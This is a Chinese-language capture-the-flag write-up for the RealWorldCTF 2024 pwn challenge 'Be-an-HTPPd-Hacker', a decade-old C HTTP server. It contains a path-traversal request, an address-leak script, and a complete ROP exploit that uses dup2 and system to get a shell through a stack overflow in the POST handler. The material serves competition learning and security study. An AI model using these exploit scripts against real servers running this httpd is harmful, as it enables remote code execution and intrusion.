深入解析RealWorldCTF2024体验赛PWN方向题目

admin 2026-09-06 04:26:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档解析了RealWorldCTF2024体验赛PWN方向题目Be-an-HTPPd-Hacker的漏洞利用过程,包括GET请求路径穿越和POST请求栈溢出攻击。通过构造恶意输入可触发堆溢出并泄漏libc地址,最终利用字符串拼接漏洞实现ROP链执行获取系统权限。报告提供详细逆向分析、调试技巧及漏洞利用脚本,强调理解真实攻击手法对提升防御能力的重要性。 综合评分: 90 文章分类: 漏洞分析,实战经验,二进制安全,WEB安全,CTF


深入解析RealWorldCTF 2024体验赛PWN方向题目

N1nEMAn N1nEMAn

蚁景网安

2026年9月4日 16:41 湖南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——”Be-an-HTPPd-Hacker”进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

搜索字符串,github找源码

从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:

https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c

具体构造

构造的代码如下,也就是方法 地址 加协议:

 method, uri, vProtocol

如 POST www.baidu.com xxx

源码如下:

request parseRequest(char buffer[]) {
    char *ptr = buffer;
    char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];
    request req;

    sscanf(ptr, "%s %s %s", method, uri, vProtocol);

    // Somente GET ou POST
    if(strcasecmp(method, "GET") == 0)
        req.method = "GET";
     else if (strcasecmp(method, "POST") == 0)
        req.method = "POST";
    else {
        req.method = "INVALID";
        req.vProtocol = "INVALID";
        req.uri[0] = '\0';
        return req;
    }

    // Sera testado futuramente. Por enquanto aceita que é um uri valido
    req.uri = uri;

    if(strcasecmp(vProtocol, "HTTP/1.0") == 0)
        req.vProtocol = "HTTP/1.0";
    else if    (strcasecmp(vProtocol, "HTTP/1.1") == 0)
        req.vProtocol = "HTTP/1.1";
    else
        req.vProtocol = "HTTP/1.1"; // se nao especificado

    return req;
}

GET路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。

    else if (res.status == 200 ) // Ok
    {
        return sendFile(req, res,connfd);
    }

阅读源码发现如上。

路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。

不过flag没有可读权限,只能通过readflag来执行。

from evilblade import *

context(os='linux', arch='amd64')
# context(os='linux', arch='amd64', log_level='debug')
#GET /index.html HTTP/1.1
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
# rsetup('121.40.246.203',30594)
# pause()
payload = 'GET ' + '/img/../../../etc/profile  HTTP/1.0\x00'
# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'
pause()
sl(payload)

ia()

这是路径穿越读/etc/profile。

POST栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算

    char *line = (char*) malloc(end-start);

中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。

代码可以看到:

int sendPostMessage(request req, response res, int connfd, char *linePost){

    char buffer[MAXLINE];

    //Prepara cabecalho HTML
&nbsp; &nbsp;&nbsp;sprintf(buffer,&nbsp;"<html><head><title>Submitted Form</title></head>");

&nbsp; &nbsp;&nbsp;//Cria body
&nbsp; &nbsp;&nbsp;strcat(buffer,&nbsp;"<body><h1>Received variables</h1><br><table>");

&nbsp; &nbsp;&nbsp;strcat(buffer,&nbsp;"<tr><th>Variables</th><th>Values</th></tr>");

&nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;* pch;
&nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;temp[250];

&nbsp; &nbsp; pch = strtok (linePost,"&=");

&nbsp; &nbsp;&nbsp;while&nbsp;(pch !=&nbsp;NULL)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sprintf(temp,&nbsp;"<tr><td>%s</td>", pch);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcat(buffer, temp);

&nbsp; &nbsp; &nbsp; &nbsp; pch = strtok (NULL,&nbsp;"&=");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sprintf(temp,&nbsp;"<td>%s</td></tr>", pch);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcat(buffer, temp);

&nbsp; &nbsp; &nbsp; &nbsp; pch = strtok (NULL,&nbsp;"&=");

&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;//Fecha body e html
&nbsp; &nbsp;&nbsp;strcat(buffer,&nbsp;"</table></body></html>");

&nbsp; &nbsp; sendHeader(connfd, req, res,&nbsp;"OK",&nbsp;"text/html");

&nbsp; &nbsp; write(connfd, buffer,&nbsp;strlen(buffer));

&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

也就是会根据&或者=分割之后,进行连接到temp。

其中linepost如下:

void&nbsp;httpd(int&nbsp;connfd)&nbsp;{

&nbsp; &nbsp;&nbsp;char&nbsp;buffer[MAXLINE];&nbsp;// Buffer dos dados de input
&nbsp; &nbsp;&nbsp;char&nbsp;fileBuffer[MAXLINE];
&nbsp; &nbsp; request req;&nbsp;// Pedido do cliente
&nbsp; &nbsp; response res;&nbsp;// Resposta do servidor
&nbsp; &nbsp;&nbsp;struct&nbsp;stat&nbsp;st;
&nbsp; &nbsp;&nbsp;int&nbsp;n;
&nbsp; &nbsp;&nbsp;int&nbsp;sizeContent =&nbsp;-1;

&nbsp; &nbsp;&nbsp;// Le o que está vindo no socket
&nbsp; &nbsp; n=read(connfd, buffer, MAXLINE);

&nbsp; &nbsp;&nbsp;int&nbsp;i =&nbsp;strlen(buffer);
&nbsp; &nbsp;&nbsp;char&nbsp;options[MAXLINE];
&nbsp; &nbsp;&nbsp;int&nbsp;statusRead =&nbsp;0;
&nbsp; &nbsp;&nbsp;strcpy(options, buffer);

&nbsp; &nbsp;&nbsp;while(statusRead ==&nbsp;0)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if((options[i-3] ==&nbsp;'\n'&nbsp;&& options[i-1] ==&nbsp;'\n') || options[i-1] !=&nbsp;'\n')
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; statusRead =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n=read(connfd, options, MAXLINE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//strcat(buffer, options);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//printf("%s\n", buffer);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i =&nbsp;strlen(options);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(options[0] ==&nbsp;'\r'&nbsp;&& options[1] ==&nbsp;'\n'&nbsp;&& n ==&nbsp;2)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; statusRead =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// Faz o parse da requisicao
&nbsp; &nbsp; req = parseRequest(buffer);

&nbsp; &nbsp;&nbsp;char&nbsp;*linePost;

&nbsp; &nbsp;&nbsp;//Encontra no buffer o tamanho do conteudo
&nbsp; &nbsp;&nbsp;if(strcmp(req.method,&nbsp;"POST") ==0)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; linePost = getLastLineRead(buffer);
&nbsp; &nbsp; }
//……
char&nbsp;*getLastLineRead(char&nbsp;*buffer)&nbsp;{

&nbsp; &nbsp;&nbsp;int&nbsp;numLines =&nbsp;0;
&nbsp; &nbsp;&nbsp;int&nbsp;start =&nbsp;0;
&nbsp; &nbsp;&nbsp;int&nbsp;end =&nbsp;0;
&nbsp; &nbsp;&nbsp;int&nbsp;bufSize =&nbsp;strlen(buffer);

&nbsp; &nbsp;&nbsp;int&nbsp;i =&nbsp;0;
&nbsp; &nbsp;&nbsp;int&nbsp;j =&nbsp;0;

&nbsp; &nbsp;&nbsp;for&nbsp;(i=0;i<bufSize;i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(buffer[i]=='\n') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; numLines++;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;int&nbsp;*vetPositionLine = (int*)&nbsp;malloc(numLines);

&nbsp; &nbsp;&nbsp;for&nbsp;(i=0;i<bufSize;i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(buffer[i]=='\n') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vetPositionLine[j] = i;//出现回车的地方
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j++;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; start = vetPositionLine[numLines-3];
&nbsp; &nbsp; end = vetPositionLine[numLines-1];

&nbsp; &nbsp;&nbsp;char&nbsp;*line = (char*)&nbsp;malloc(end-start);
&nbsp; &nbsp;&nbsp;strncpy(line,buffer+end,bufSize-end);

&nbsp; &nbsp;&nbsp;return&nbsp;line;
}

就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!

使用exp:

from&nbsp;evilblade&nbsp;import&nbsp;*

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)

payload =&nbsp;b'POST '+&nbsp;b'A'*3982&nbsp;+&nbsp;b'\n'
pause()
sl(payload)

ia()
  • • 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。

主要对此处进行断点观察。

可以看到:

由此可以泄漏出libc甚至其他了。

使用脚本:

from&nbsp;evilblade&nbsp;import&nbsp;*

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload =&nbsp;b'POST '+&nbsp;b'A'*3982&nbsp;+&nbsp;b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

ia()

泄漏得到:

---------------
your stack is >>> 0xff9c9f0a
---------------

---------------
your ld is >>> 0xedf40000
---------------

---------------
your libc is >>> 0xedcca000
---------------

构造ROP

从这个部分可以发现,会将原本的内容根据&=分割,然后加上之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。

&nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;* pch;
&nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;temp[250];

&nbsp; &nbsp; pch = strtok (linePost,"&=");
while&nbsp;(pch !=&nbsp;NULL)
{
&nbsp; &nbsp;&nbsp;sprintf(temp,&nbsp;"<tr><td>%s</td>", pch);
&nbsp; &nbsp;&nbsp;strcat(buffer, temp);

&nbsp; &nbsp; pch = strtok (NULL,&nbsp;"&=");

&nbsp; &nbsp;&nbsp;sprintf(temp,&nbsp;"<td>%s</td></tr>", pch);
&nbsp; &nbsp;&nbsp;strcat(buffer, temp);

&nbsp; &nbsp; pch = strtok (NULL,&nbsp;"&=");

}

做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:

from&nbsp;evilblade&nbsp;import&nbsp;*

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload =&nbsp;b'POST '+&nbsp;b'A='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)

payload =&nbsp;b'POST / A\n'+&nbsp;b"A"*2400&nbsp;+&nbsp;b"\n"
payload +=&nbsp;b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload +=&nbsp;b"="&nbsp;+ p32(0xeb029050)*10+&nbsp;b"xxxx"&nbsp;+&nbsp;b"="
d(payload)
dpx('len',len(payload))
pause()
sd(payload)

其中xxxx为任意地址,可以返回!

由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。

搜索有:

pwndbg> search -4 0x11111111
Searching&nbsp;for&nbsp;value: b'\x11\x11\x11\x11'
libc.so.6 &nbsp; &nbsp; &nbsp; 0xf0ca28f4 0x11111111
libc.so.6 &nbsp; &nbsp; &nbsp; 0xf0ca2a08 0x11111111
libc.so.6 &nbsp; &nbsp; &nbsp; 0xf0ca2a0c 0x11111111

计算得到:
λ ~/ python
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux
Type&nbsp;"help",&nbsp;"copyright",&nbsp;"credits"&nbsp;or&nbsp;"license"&nbsp;for&nbsp;more information.
>>> hex(0xf0ca28f4 -0xf0af1000)
'0x1b18f4'#这是libc偏移
>>> hex(0x100000000-0x11111111)
'0xeeeeeeef'
>>>

那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。

构造的ROP如下:

push_esi = p32(libc+0x00061c0d)&nbsp;# push esi ; ret
nop_ret = p32(libc+0x0002fce8)&nbsp;# nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc)&nbsp;# pop ebx ; ret
add_ebx = p32(0x001959c2&nbsp;+libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3)&nbsp;# : add ecx, dword ptr [ebx + 0x5f082444] ; ret)

# dup2($ebx,$ecx)
rop = &nbsp;pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx&nbsp;#$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx&nbsp;#$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx&nbsp;#$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx&nbsp;#$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if&nbsp;b"="&nbsp;in&nbsp;rop&nbsp;or&nbsp;b"\x00"&nbsp;in&nbsp;rop:
&nbsp; &nbsp;&nbsp;print("stop!")
&nbsp; &nbsp; pause()

payload =&nbsp;b'POST '+&nbsp;b"A"*2400&nbsp;+&nbsp;b"\n"
payload +=&nbsp;b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload +=&nbsp;b"="&nbsp;+ (nop_ret)*10
payload += rop
payload +=&nbsp;b"="

完整exp如下:

from&nbsp;evilblade&nbsp;import&nbsp;*

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload =&nbsp;b'POST '+&nbsp;b'A'*3982&nbsp;+&nbsp;b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))-0x1ed0a
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

close()
rsetup('127.0.0.1',33333)
payload =&nbsp;b'POST '+&nbsp;b'A='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)

sub_eax_ecx = p32(libc +&nbsp;0x0018b0f8)&nbsp;# sub eax, ecx ; ret
push_eax = p32(libc +&nbsp;0x00036a7d)&nbsp;# push eax ; ret
pop_ecx_eax = p32(libc +&nbsp;0x001280f4)&nbsp;# pop ecx ; pop eax ; ret
dup22 = p32(symoff("dup2",libc)+0xe)
push_edx = p32(libc+0x00192ac8)&nbsp;# push edx ; ret
pop_edx = p32(libc+0x00037375)&nbsp;# pop edx ; ret
pop_esi = p32(libc+0x00021479)&nbsp;# pop esi ; ret
push_esi = p32(libc+0x00061c0d)&nbsp;# push esi ; ret
nop_ret = p32(libc+0x0002fce8)&nbsp;# nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc)&nbsp;# pop ebx ; ret
add_ebx = p32(0x001959c2&nbsp;+libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3)&nbsp;# : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop = &nbsp;pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx&nbsp;#$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx&nbsp;#$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx&nbsp;#$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx&nbsp;#$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if&nbsp;b"="&nbsp;in&nbsp;rop&nbsp;or&nbsp;b"\x00"&nbsp;in&nbsp;rop:
&nbsp; &nbsp;&nbsp;print("stop!")
&nbsp; &nbsp; pause()

payload =&nbsp;b'POST '+&nbsp;b"A"*2400&nbsp;+&nbsp;b"\n"
payload +=&nbsp;b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload +=&nbsp;b"="&nbsp;+ (nop_ret)*10
payload += rop
payload +=&nbsp;b"="

d(payload)
dpx('len',len(payload))
dpx("begin",uu64(pop_esi))
dpx("nop",uu64(nop_ret))
dx(stack)
pause()
sd(payload)

ia()

攻击结果:

学习网安实战技术,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 N1nEMAn N1nEMAn《深入解析RealWorldCTF 2024体验赛PWN方向题目》

评论:0   参与:  0